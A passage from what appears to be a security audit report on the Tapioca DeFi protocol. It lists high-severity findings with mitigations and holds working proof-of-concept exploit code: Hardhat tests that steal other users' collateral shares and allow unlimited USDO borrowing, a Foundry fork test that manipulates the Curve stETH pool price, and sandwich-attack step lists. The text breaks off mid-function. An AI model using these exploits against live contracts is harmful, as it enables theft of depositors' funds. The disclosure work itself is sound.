/// @notice Sub `base` from `total` and update `total.elastic`.
/// @return (Rebase) The new total.
/// @return elastic in relationship to `base`.
function sub(
Rebase memory total,
uint256 base,
bool roundUp
) internal pure returns (Rebase memory, uint256 elastic) {
elastic = toElastic(total, base, roundUp);
total.elastic -= uint128(elastic);
total.base -= uint128(base);
return (total, elastic);
}
/// @notice Add `elastic` and `base` to `total`.
function add(
Rebase memory total,
uint256 elastic,
uint256 base
) internal pure returns (Rebase memory) {
total.elastic += uint128(elastic);
total.base += uint128(base);
return total;
}
/// @notice Subtract `elastic` and `base` to `total`.
function sub(
Rebase memory total,
uint256 elastic,
uint256 base
) internal pure returns (Rebase memory) {
total.elastic -= uint128(elastic);
total.base -= uint128(base);
return total;
}
/// @notice Add `elastic` to `total` and update storage.
/// @return newElastic Returns updated `elastic`.
function addElastic(
Rebase storage total,
uint256 elastic
) internal returns (uint256 newElastic) {
newElastic = total.elastic += uint128(elastic);
}
/// @notice Subtract `elastic` from `total` and update storage.
/// @return newElastic Returns updated `elastic`.
function subElastic(
Rebase storage total,
uint256 elastic
) internal returns (uint256 newElastic) {
newElastic = total.elastic -= uint128(elastic);
}
}
contract BIGBANG_MOCK {
using RebaseLibrary for Rebase;
uint256 public collateralizationRate = 75000; // 75% // made public to access it from test contract
uint256 public liquidationMultiplier = 12000; //12%
uint256 public constant FEE_PRECISION = 1e5; // made public to access it from test contract
uint256 public EXCHANGE_RATE_PRECISION = 1e18; //made public to access it from test contract
uint256 public borrowOpeningFee = 50; //0.05%
Rebase public totalBorrow;
uint256 public totalBorrowCap;
AccrueInfo public accrueInfo;
/// @notice borrow amount per user
mapping(address => uint256) public userBorrowPart;
uint256 public USDO_balance; // just to track USDO balance of BigBang
function _accrue() public {
// made public so we can call it from the test contract
AccrueInfo memory _accrueInfo = accrueInfo;
// Number of seconds since accrue was called
uint256 elapsedTime = block.timestamp - _accrueInfo.lastAccrued;
if (elapsedTime == 0) {
return;
}
//update debt rate // for simplicity we return bigBangEthDebtRate which is 5e15
uint256 annumDebtRate = 5e15; // getDebtRate(); // 5e15 for eth. Check Penrose.sol Line:131
_accrueInfo.debtRate = uint64(annumDebtRate / 31536000); //per second
_accrueInfo.lastAccrued = uint64(block.timestamp);
Rebase memory _totalBorrow = totalBorrow;
uint256 extraAmount = 0;
// Calculate fees
extraAmount =
(uint256(_totalBorrow.elastic) *
_accrueInfo.debtRate *
elapsedTime) /
1e18;
_totalBorrow.elastic += uint128(extraAmount);
totalBorrow = _totalBorrow;
accrueInfo = _accrueInfo;
// emit LogAccrue(extraAmount, _accrueInfo.debtRate); // commented out since it irrelevant
}
function totalBorrowElastic() public view returns (uint128) {
return totalBorrow.elastic;
}
function totalBorrowBase() public view returns (uint128) {
return totalBorrow.base;
}
function _borrow(
address from,
address to,
uint256 amount
) external returns (uint256 part, uint256 share) {
uint256 feeAmount = (amount * borrowOpeningFee) / FEE_PRECISION; // A flat % fee is charged for any borrow
(totalBorrow, part) = totalBorrow.add(amount + feeAmount, true);
require(
totalBorrowCap == 0 || totalBorrow.elastic <= totalBorrowCap,
"BigBang: borrow cap reached"
);
userBorrowPart[from] += part; // toBase from RebaseLibrary. userBorrowPart stores the sharee
//mint USDO
// IUSDOBase(address(asset)).mint(address(this), amount); // not needed
USDO_balance += amount;
//deposit borrowed amount to user
// asset.approve(address(yieldBox), amount); // not needed
// yieldBox.depositAsset(assetId, address(this), to, amount, 0); // not needed
USDO_balance -= amount;
// share = yieldBox.toShare(assetId, amount, false); // not needed
// emit LogBorrow(from, to, amount, feeAmount, part); // not needed
}
// copied from YieldBoxRebase
function _toAmount(
uint256 share,
uint256 totalShares_,
uint256 totalAmount,
bool roundUp
) external pure returns (uint256 amount) {
// To prevent reseting the ratio due to withdrawal of all shares, we start with
// 1 amount/1e8 shares already burned. This also starts with a 1 : 1e8 ratio which
// functions like 8 decimal fixed point math. This prevents ratio attacks or inaccuracy
// due to 'gifting' or rebasing tokens. (Up to a certain degree)
totalAmount++;
totalShares_ += 1e8;
// Calculte the amount using te current amount to share ratio
amount = (share * totalAmount) / totalShares_;
// Default is to round down (Solidity), round up if required
if (roundUp && (amount * totalShares_) / totalAmount < share) {
amount++;
}
}
}
contract BIGBANG_ISSUES is DSTest, Test {
BIGBANG_MOCK bigbangMock;
address bob;
function setUp() public {
bigbangMock = new BIGBANG_MOCK();
bob = vm.addr(1);
}
function test_borrow_repay() public {
// borrow
uint256 amount = 745e18;
vm.warp(1 days);
bigbangMock._accrue(); // acrrue before borrow (this is done on borrow)
bigbangMock._borrow(bob, address(0), amount);
console.log("===BORROW===");
// console.log("Amount: %d", amount);
console.log("UserBorrowPart: %d", bigbangMock.userBorrowPart(bob));
console.log("Total Borrow Base: %d", bigbangMock.totalBorrowBase());
console.log(
"Total Borrow Elastic: %d",
bigbangMock.totalBorrowElastic()
);
// time elapsed
vm.warp(365 days);
console.log("===356 days passed===");
bigbangMock._accrue();
console.log(
"Total Borrow Elastic: %d",
bigbangMock.totalBorrowElastic()
);
// Check Insolvency
uint256 _exchangeRate = 1e18;
uint256 collateralShare = 1000e18;
uint256 totalShares = 1000e18;
uint256 totalAmount = 1000e18;
uint256 EXCHANGE_RATE_PRECISION = bigbangMock.EXCHANGE_RATE_PRECISION();
uint256 FEE_PRECISION = bigbangMock.FEE_PRECISION();
uint256 collateralizationRate = bigbangMock.collateralizationRate();
uint256 borrowPart = bigbangMock.userBorrowPart(bob);
uint256 _totalBorrowElastic = bigbangMock.totalBorrowElastic();
uint256 _totalBorrowBase = bigbangMock.totalBorrowBase();
console.log("===Solvency#1 => multiply by share===");
// we pass totalShares and totalAmount
uint256 A = bigbangMock._toAmount(
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
totalShares,
totalAmount,
false
);
// Moved exchangeRate here instead of dividing the other side to preserve more precision
uint256 B = (borrowPart * _totalBorrowElastic * _exchangeRate) /
_totalBorrowBase;
// bool isSolvent = A >= B;
console.log("A: %d", A);
console.log("B: %d", B);
console.log("===Solvency#2 => multiply by amount===");
A =
bigbangMock._toAmount(
collateralShare,
totalShares,
totalAmount,
false
) *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate;
// Moved exchangeRate here instead of dividing the other side to preserve more precision
B =
(borrowPart * _totalBorrowElastic * _exchangeRate) /
_totalBorrowBase;
// isSolvent = A >= B;
console.log("A: %d", A);
console.log("B: %d", B);
console.log("===Result===");
console.log("Solvency#1.A != Solvency#2.A");
}
}
Recommended Mitigation Steps
Use amount for calculation instead of shares. Check the PoC as it demonstrates such an example.
[H-05] Ability to steal user funds and increase collateral share infinitely in BigBang and Singularity
Submitted by Ack, also found by Koolex (1, 2), RedOneN, plainshift, ladboy233, bin2chen, zzzitron, ayeslick, KIntern_NA, kaden, xuwinnie, Oxsadeeq, 0xStalin, 0xG0P1, ltyu, cergyk, TiesStevelink, rvierdiiev, and 0xRobocop
The addCollateral
methods in both BigBang and Singularity contracts allow the share parameter to be passed as 0
. When share
is 0
, the equivalent amount of shares is calculated using the YieldBox toShare
method. However, there is a modifier named allowedBorrow
that is intended to check the allowed borrowing amount for each implementation of the addCollateral
methods. Unfortunately, the modifier is called with the share
value passed to addCollateral
, and in the case of 0
, it will always pass.
// MarketERC20.sol
function _allowedBorrow(address from, uint share) internal {
if (from != msg.sender) {
if (allowanceBorrow[from][msg.sender] < share) {
revert NotApproved(from, msg.sender);
}
allowanceBorrow[from][msg.sender] -= share;
}
}
// BigBang.sol
function addCollateral(
address from,
address to,
bool skim,
uint256 amount,
uint256 share
// @audit share is calculated afterwords the modifier
) public allowedBorrow(from, share) notPaused {
_addCollateral(from, to, skim, amount, share);
}
function _addCollateral(
address from,
address to,
bool skim,
uint256 amount,
uint256 share
) internal {
if (share == 0) {
share = yieldBox.toShare(collateralId, amount, false);
}
userCollateralShare[to] += share;
uint256 oldTotalCollateralShare = totalCollateralShare;
totalCollateralShare = oldTotalCollateralShare + share;
_addTokens(
from,
to,
collateralId,
share,
oldTotalCollateralShare,
skim
);
emit LogAddCollateral(skim ? address(yieldBox) : from, to, share);
}
This leads to various critical scenarios in BigBang and Singularity markets where user assets can be stolen, and collateral share can be increased infinitely which in turn leads to infinite USDO borrow/mint and borrowing max assets from Singularity market.
Refer to Proof of Concept for attack examples
Impact
High - allows stealing of arbitrary user yieldbox shares in BigBang contract and Singularity. In the case of BigBang this leads to infinite minting of USDO. Effectively draining all markets and LPs where USDO has value. In the case of Singularity this leads to infinite borrowing, allowing an attacker to obtain possession of all other users’ collateral in Singularity.
Proof of concept
- Malicious actor can add any user shares that were approved to BigBang or Singularity contracts deployed. This way adversary is stealing user shares that he can unwrap to get underlying collateral provided.
it('allows steal other user YieldBox collateral shares', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer: userA,
eoa1: userB,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
// User A deposit assets to yieldbox, receives shares
await yieldBox.depositAsset(
wethAssetId,
userA.address,
userA.address,
0,
valShare,
);
let userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.gt(0)).to.be.true;
expect(userABalance.eq(valShare)).to.be.true;
// User B adds collateral to big bang from user A shares
await expect(wethBigBangMarket.connect(userB).addCollateral(
userA.address,
userB.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
.withArgs(wethBigBangMarket.address, userA.address, wethBigBangMarket.address, wethAssetId, valShare);
userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.eq(0)).to.be.true;
let collateralShares = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(collateralShares.gt(0)).to.be.true;
expect(collateralShares.eq(valShare)).to.be.true;
// User B removes collateral
await wethBigBangMarket.connect(userB).removeCollateral(
userB.address,
userB.address,
collateralShares,
);
collateralShares = await wethBigBangMarket.connect(userB).userCollateralShare(
userA.address,
);
expect(collateralShares.eq(0)).to.be.true;
// User B ends up with User A shares in yieldbox
let userBBalance = await yieldBox.balanceOf(
userB.address,
wethAssetId,
)
expect(userBBalance.gt(0)).to.be.true;
expect(userBBalance.eq(valShare)).to.be.true;
});
- For Singularity contract this allows to increase collateralShare by the amount of assets provided as collateral infinitely leading to
x / x + 1
share of the collateral for the caller with no shares in the pool, where x is the number of times theaddColateral
is called, effectively allowing for infinite borrowing. As a consequence, the attacker can continuously increase their share of the collateral without limits, leading to potentially excessive borrowing of assets from the Singularity market.
it('allows to infinitely increase user collateral share in BigBang', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer: userA,
eoa1: userB,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
// User A deposit assets to yieldbox, receives shares
await yieldBox.depositAsset(
wethAssetId,
userA.address,
userA.address,
0,
valShare,
);
let userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.gt(0)).to.be.true;
expect(userABalance.eq(valShare)).to.be.true;
// User A adds collateral to BigBang
await wethBigBangMarket.addCollateral(
userA.address,
userA.address,
false,
wethMintVal,
0,
);
let bigBangBalance = await yieldBox.balanceOf(
wethBigBangMarket.address,
wethAssetId,
)
expect(bigBangBalance.eq(valShare)).to.be.true;
let userACollateralShare = await wethBigBangMarket.userCollateralShare(
userA.address,
);
expect(userACollateralShare.gt(0)).to.be.true;
expect(userACollateralShare.eq(valShare)).to.be.true;
let userBCollateralShare = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(userBCollateralShare.eq(0)).to.be.true;
// User B is able to increase his share to 50% of the whole collateral added
await expect(wethBigBangMarket.connect(userB).addCollateral(
wethBigBangMarket.address,
userB.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
userBCollateralShare = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(userBCollateralShare.gt(0)).to.be.true;
expect(userBCollateralShare.eq(valShare)).to.be.true;
// User B is able to increase his share to 66% of the whole collateral added
await expect(wethBigBangMarket.connect(userB).addCollateral(
wethBigBangMarket.address,
userB.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
userBCollateralShare = await wethBigBangMarket.userCollateralShare(
userB.address,
);
expect(userBCollateralShare.gt(0)).to.be.true;
expect(userBCollateralShare.eq(valShare.mul(2))).to.be.true;
// ....
});
- In the BigBang contract, this vulnerability allows a user to infinitely increase their collateral shares by providing collateral repeatedly. As a result, the user can artificially inflate their collateral shares provided, potentially leading to an excessive borrowing capacity. By continuously adding collateral without limitations, the user can effectively borrow against any collateral amount they desire, which poses a significant risk to USDO market.
it('allows infinite borrow of USDO', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer: userA,
eoa1: userB,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
// User A deposit assets to yieldbox, receives shares
await yieldBox.depositAsset(
wethAssetId,
userA.address,
userA.address,
0,
valShare,
);
let userABalance = await yieldBox.balanceOf(
userA.address,
wethAssetId,
)
expect(userABalance.gt(0)).to.be.true;
expect(userABalance.eq(valShare)).to.be.true;
// User A adds collateral to BigBang
await wethBigBangMarket.addCollateral(
userA.address,
userA.address,
false,
wethMintVal,
0,
);
let bigBangBalance = await yieldBox.balanceOf(
wethBigBangMarket.address,
wethAssetId,
)
expect(bigBangBalance.eq(valShare)).to.be.true;
let userACollateralShare = await wethBigBangMarket.userCollateralShare(
userA.address,
);
expect(userACollateralShare.gt(0)).to.be.true;
expect(userACollateralShare.eq(valShare)).to.be.true;
await wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000");
await expect(
wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000")
).to.be.reverted;
await expect(wethBigBangMarket.addCollateral(
wethBigBangMarket.address,
userA.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
await wethBigBangMarket.borrow(userA.address, userA.address, "7500000000000000000000");
await expect(wethBigBangMarket.addCollateral(
wethBigBangMarket.address,
userA.address,
false,
wethMintVal,
0,
)).to.emit(yieldBox, "TransferSingle")
await wethBigBangMarket.borrow(userA.address, userA.address, "7530000000000000000000");
// ....
});
Recommended Mitigation Steps
- Check allowed to borrow shares amount after evaluating equivalent them
0xRektora (Tapioca) confirmed via duplicate issue 55
[H-06] BalancerStrategy _withdraw
uses BPT_IN_FOR_EXACT_TOKENS_OUT
which can be attack to cause loss to all depositors
Submitted by GalloDaSballo
Withdrawals can be manipulated to cause complete loss of all tokens.
The BalancerStrategy accounts for user deposits in terms of the BPT shares they contributed, however, for withdrawals, it estimates the amount of BPT to burn based on the amount of ETH to withdraw, which can be manipulated to cause a total loss to the Strategy.
Deposits of weth are done via userData.joinKind set to 1
, which is extracted here in the generic Pool Logic:
https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L49
The interpretation (by convention is shown here):
https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L49
enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }
Which means that the deposit is using EXACT_TOKENS_IN_FOR_BPT_OUT
which is safe in most circumstances (Pool Properly Balanced, with minimum liquidity).
BPT_IN_FOR_EXACT_TOKENS_OUT
is vulnerable to manipulation
_vaultWithdraw
uses the following logic to determine how many BPT to burn:
uint256[] memory minAmountsOut = new uint256[](poolTokens.length);
for (uint256 i = 0; i < poolTokens.length; i++) {
if (poolTokens[i] == address(wrappedNative)) {
minAmountsOut[i] = amount;
index = int256(i);
} else {
minAmountsOut[i] = 0;
}
}
IBalancerVault.ExitPoolRequest memory exitRequest;
exitRequest.assets = poolTokens;
exitRequest.minAmountsOut = minAmountsOut;
exitRequest.toInternalBalance = false;
exitRequest.userData = abi.encode(
2,
exitRequest.minAmountsOut,
pool.balanceOf(address(this))
);
This query logic is using 2
, which Maps out to BPT_IN_FOR_EXACT_TOKENS_OUT
which means Exact Out, with any (all) BPT IN, this means that the swapper is willing to burn all tokens:
https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L51
enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT }
This meets the 2 prerequisite for stealing value from the vault by socializing loss due to single sided exposure:
-
- The request is for at least
amount
WETH
- The request is for at least
-
- The request is using
BPT_IN_FOR_EXACT_TOKENS_OUT
- The request is using
Which means the strategy will accept any slippage, in this case 100%, causing it to take a total loss for the goal of allowing a withdrawal, at the advantage of the attacker and the detriment of all other depositors.
POC
The requirement to trigger the loss are as follows:
- Deposit to have some amount of BPTs deposited into the strategy
- Imbalance the Pool to cause pro-rata amount of single token to require burning a lot more BPTs
- Withdraw from the strategy, the strategy will burn all of the BPTs it owns (more than the shares)
- Rebalance the pool with the excess value burned from the strategy
Further Details
Specifically, in withdrawing one Depositor Shares, the request would end up burning EVERYONEs shares, causing massive loss to everyone.
This has already been exploited and explained in Yearns Disclosure:
https://github.com/yearn/yearn-security/blob/master/disclosures/2022-01-30.md
More specifically this finding can cause a total loss, while trying to withdraw tokens for a single user, meaning that an attacker can setup the pool to cause a complete loss to all other stakers.
Mitigation Step
Use EXACT_BPT_IN_FOR_TOKENS_OUT
and denominate the Strategy in LP tokens to avoid being attacked via single sided exposure.
cryptotechmaker (Tapioca) confirmed
[H-07] Usage of BalancerStrategy.updateCache
will cause single sided Loss, discount to Depositor and to OverBorrow from Singularity
Submitted by GalloDaSballo, also found by carrotsmuggler, kaden, and cergyk
The BalancerStrategy uses a cached value to determine it’s balance in pool for which it takes Single Sided Exposure.
This means that the Strategy has some BPT tokens, but to price them, it’s calling vault.queryExit
which simulates withdrawing the LP in a single sided manner.
Due to the single sided exposure, it’s trivial to perform a Swap, that will change the internal balances of the pool, as a way to cause the Strategy to discount it’s tokens.
By the same process, we can send more ETH as a way to inflate the value of the Strategy, which will then be cached.
Since _currentBalance
is a view-function, the YieldBox will accept these inflated values without a way to dispute them
function _deposited(uint256 amount) internal override nonReentrant {
uint256 queued = wrappedNative.balanceOf(address(this));
if (queued > depositThreshold) {
_vaultDeposit(queued);
emit AmountDeposited(queued);
}
emit AmountQueued(amount);
updateCache(); /// @audit this is updated too late (TODO PROOF)
}
POC
- Imbalance the pool (Sandwich A)
- Update
updateCache
- Deposit into YieldBox, YieldBox is using a
view
function, meaning it will use the manipulated strategy_currentBalance
_deposited
trigger anupdateCache
- Rebalance the Pool (Sandwich B)
- Call
updateCache
again to bring back the rate to a higher value - Withdraw at a gain
Result
Imbalance Up -> Allows OverBorrowing and causes insolvency to the protocol Imbalance Down -> Liquidate Borrowers unfairly at a profit to the liquidator Sandwhiching the Imbalance can be used to extract value from the strategy and steal user deposits as well
Mitigation
Use fair reserve math, avoid single sided exposure (use the LP token as underlying, not one side of it)
cryptotechmaker (Tapioca) confirmed
[H-08] LidoEthStrategy._currentBalance
is subject to price manipulation, allows overborrowing and liquidations
Submitted by GalloDaSballo, also found by ladboy233, carrotsmuggler, kaden, cergyk, and rvierdiiev
The strategy is pricing stETH as ETH by asking the pool for it’s return value
This is easily manipulatable by performing a swap big enough
function _currentBalance() internal view override returns (uint256 amount) {
uint256 stEthBalance = stEth.balanceOf(address(this));
uint256 calcEth = stEthBalance > 0
? curveStEthPool.get_dy(1, 0, stEthBalance) // TODO: Prob manipulatable view-reentrancy
: 0;
uint256 queued = wrappedNative.balanceOf(address(this));
return calcEth + queued;
}
/// @dev deposits to Lido or queues tokens if the 'depositThreshold' has not been met yet
function _deposited(uint256 amount) internal override nonReentrant {
uint256 queued = wrappedNative.balanceOf(address(this));
if (queued > depositThreshold) {
require(!stEth.isStakingPaused(), "LidoStrategy: staking paused");
INative(address(wrappedNative)).withdraw(queued);
stEth.submit{value: queued}(address(0)); //1:1 between eth<>stEth // TODO: Prob cheaper to buy stETH
emit AmountDeposited(queued);
return;
}
emit AmountQueued(amount);
}
POC
- Imbalance the Pool to overvalue the stETH
- Overborrow and Make the Singularity Insolvent
- Imbalance the Pool to undervalue the stETH
- Liquidate all Depositors (at optimal premium since attacker can control the price change)
Coded POC
Logs
[PASS] testSwapStEth() (gas: 372360)
Initial Price 5443663537732571417920
Changed Price 2187071651284977907921
Initial Price 2187071651284977907921
Changed Price 1073148438886623970
[PASS] testSwapETH() (gas: 300192)
Logs:
value 100000000000000000000000
Initial Price 5443663537732571417920
Changed Price 9755041616702274912586
value 700000000000000000000000
Initial Price 9755041616702274912586
Changed Price 680711874102963551173181
Considering that swap fees are 1BPS, the attack is profitable at very low TVL
// SPDX-License Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
interface ICurvePoolWeird {
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);
}
interface ICurvePool {
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);
function get_virtual_price() external view returns (uint256);
function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 _min_amount) external;
function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
}
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract Swapper is Test {
ICurvePool pool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
uint256 TEN_MILLION_USD_AS_ETH = 5455e18; // Rule of thumb is 1BPS cost means we can use 5 Billion ETH and still be
function swapETH() external payable {
console2.log("value", msg.value);
console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
pool.exchange{value: msg.value}(0, 1, msg.value, 0); // Swap all yolo
// curveStEthPool.get_dy(1, 0, stEthBalance)
console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
}
function swapStEth() external {
console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
// Always approve exact ;)
uint256 amt = stETH.balanceOf(address(this));
stETH.approve(address(pool), stETH.balanceOf(address(this)));
pool.exchange(1, 0, amt, 0); // Swap all yolo
// curveStEthPool.get_dy(1, 0, stEthBalance)
console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
}
receive() external payable {}
}
contract CompoundedStakesFuzz is Test {
Swapper c;
IERC20 token = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
function setUp() public {
c = new Swapper();
}
function testSwapETH() public {
deal(address(this), 100_000e18);
c.swapETH{value: 100_000e18}(); /// 100k ETH is enough to double the price
deal(address(this), 700_000e18);
c.swapETH{value: 700_000e18}(); /// 700k ETH is enough to double the price
}
function testSwapStEth() public {
vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Has 700k ETH, 100k is sufficient
token.transfer(address(c), 100_000e18);
c.swapStEth();
vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Another one for good measure
token.transfer(address(c), 600_000e18);
c.swapStEth();
}
}
Mitigation
Use the Chainlink stETH / ETH Price Feed or Ideally do not expose the strategy to any conversion, simply deposit and withdraw stETH directly to avoid any risk or attack in conversions
https://data.chain.link/arbitrum/mainnet/crypto-eth/steth-eth
https://data.chain.link/ethereum/mainnet/crypto-eth/steth-eth
0xRektora (Tapioca) confirmed via duplicate issue 828
[H-09] TricryptoLPStrategy.compoundAmount
always returns 0 because it’s using staticall vs call
Submitted by GalloDaSballo
compoundAmount
will always try to sell 0 tokens because the staticall
will revert since the function changes storage in checkpoint
This causes the compoundAmount
to always return 0, which means that the Strategy is underpriced at all times allowing to Steal all Rewards via:
- Deposit to own a high % of ownerhsip in the strategy (shares are underpriced)
- Compound (shares socialize the yield to new total supply, we get the majority of that)
- Withdraw (lock in immediate profits without contributing to the Yield)
POC
This Test is done on the Arbitrum Tricrypto Gauge with Foundry
1 is the flag value for a revert 0 is the expected value
We get 1 when we use staticcall since the call reverts internally We get 0 when we use call since the call doesn’t
The comment in the Gauge Code is meant for usage off-chain, onChain you must accrue (or you could use a Accrue Then Revert Pattern, similar to UniV3 Quoter)
NOTE: The code for Mainnet is the same, so it will result in the same impact
https://etherscan.io/address/0xDeFd8FdD20e0f34115C7018CCfb655796F6B2168#code#L375
Foundry POC
forge test --match-test test_callWorks --rpc-url https://arb-mainnet.g.alchemy.com/v2/ALCHEMY_KEY
Which will revert since checkpoint
is a non-view function and staticall reverts if any state is changed
https://arbiscan.io/address/0x555766f3da968ecbefa690ffd49a2ac02f47aa5f#code#L168
// SPDX-License Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
contract GaugeCallTest is Test {
// Arb Tricrypto Gauge
address lpGauge = 0x555766f3da968ecBefa690Ffd49A2Ac02f47aa5f;
function setUp() public {}
function doTheCallView() internal returns (uint256) {
(bool success, bytes memory response) = address(lpGauge).staticcall(
abi.encodeWithSignature("claimable_tokens(address)", address(this))
);
uint256 claimable = 1;
if (success) {
claimable = abi.decode(response, (uint256));
}
return claimable;
}
function doTheCallCall() internal returns (uint256) {
(bool success, bytes memory response) = address(lpGauge).call(
abi.encodeWithSignature("claimable_tokens(address)", address(this))
);
uint256 claimable = 1;
if (success) {
claimable = abi.decode(response, (uint256));
}
return claimable;
}
function test_callWorks() public {
uint256 claimableView = doTheCallView();
assertEq(claimableView, 1); // Return 1 which is our flag for failure
uint256 claimableNonView = doTheCallCall();
assertEq(claimableNonView, 0); // Return 0 which means we read the proper value
}
}
Mitigation Step
You should use a non-view function like in compound
cryptotechmaker (Tapioca) confirmed
[H-10] Liquidated USDO from BigBang not being burned after liquidation inflates USDO supply and can threaten peg permanently
Submitted by unsafesol, also found by peakbolt, 0xnev, rvierdiiev, and 0xRobocop
Absence of proper USDO burn after liquidation in the BigBang market results in a redundant amount of USDO being minted without any collateral or backing. Thus, the overcollaterization of USDO achieved through BigBang will be eventually lost and the value of USDO in supply (1USDO = 1$) will exceed the amount of collateral locked in BigBang. This has multiple repercussions- the USDO peg will be threatened and yieldBox will have USDO which has virtually no value, resulting in all the BigBang strategies failing.
Proof of Concept
According to the Tapioca documentation, the BigBang market mints USDO when a user deposits sufficient collateral and borrows tokens. When a user repays the borrowed USDO, the market burns the borrowed USDO and unlocks the appropriate amount of collateral. This is essential to the peg of USDO, since USDO tokens need a valid collateral backing.
While liquidating a user as well, the same procedure should be followed- after swapping the user’s collateral for USDO, the repaid USDO (with liquidation) must be burned so as to sustain the USDO peg. However, this is not being done. As we can see here: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L618-L637, the collateral is swapped for USDO, and fee is extracted and transferred to the appropriate parties, but nothing is done for the remaining USDO which was repaid. At the same time, this was done correctly done in BigBang#_repay for repayment here: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L734-L736.
This has the following effects:
- The BigBang market now has redundant yieldBox USDO shares which have no backing.
- The redundant USDO is now performing in yieldBox strategies of tapioca.
- The USDO eventually becomes overinflated and exceeds the value of underlying collateral.
- The strategies start not performing since they have unbacked USDO, and the USDO peg is lost as well since there is no appropriate amount of underlying collateral.
Recommended Mitigation Steps
Burn the USDO acquired through liquidation after extracting fees for appropriate parties.
[H-11] TOFT exerciseOption
can be used to steal all underlying erc20 tokens
Submitted by windhustler, also found by Ack
Unvalidated input data for the exerciseOption
function can be used to steal all the erc20 tokens from the contract.
Proof of Concept
Each BaseTOFT is a wrapper around an erc20
token and extends the OFTV2
contract to enable smooth cross-chain transfers through LayerZero.
Depending on the erc20 token which is used usually the erc20 tokens will be held on one chain and then only the shares of OFTV2
get transferred around (burnt on one chain, minted on another chain).
Subject to this attack is TapiocaOFTs
or mTapiocaOFTs
which store as an underlying token an erc20 token(not native). In order to mint TOFT
shares you need to deposit the underlying erc20 tokens into the contract, and you get TOFT
shares.
The attack flow is the following:
- The attack starts from the
exerciseOption
. Nothing is validated here and the only cost of the attack is theoptionsData.paymentTokenAmount
which is burned from the attacker. This can be some small amount. - When the message is received on the remote chain inside the
exercise
function it is important that nothing reverts for the attacker. - For the attacker to go through the attacker needs to pass the following data:
function exerciseInternal(
address from,
uint256 oTAPTokenID,
address paymentToken,
uint256 tapAmount,
address target,
ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData
memory tapSendData,
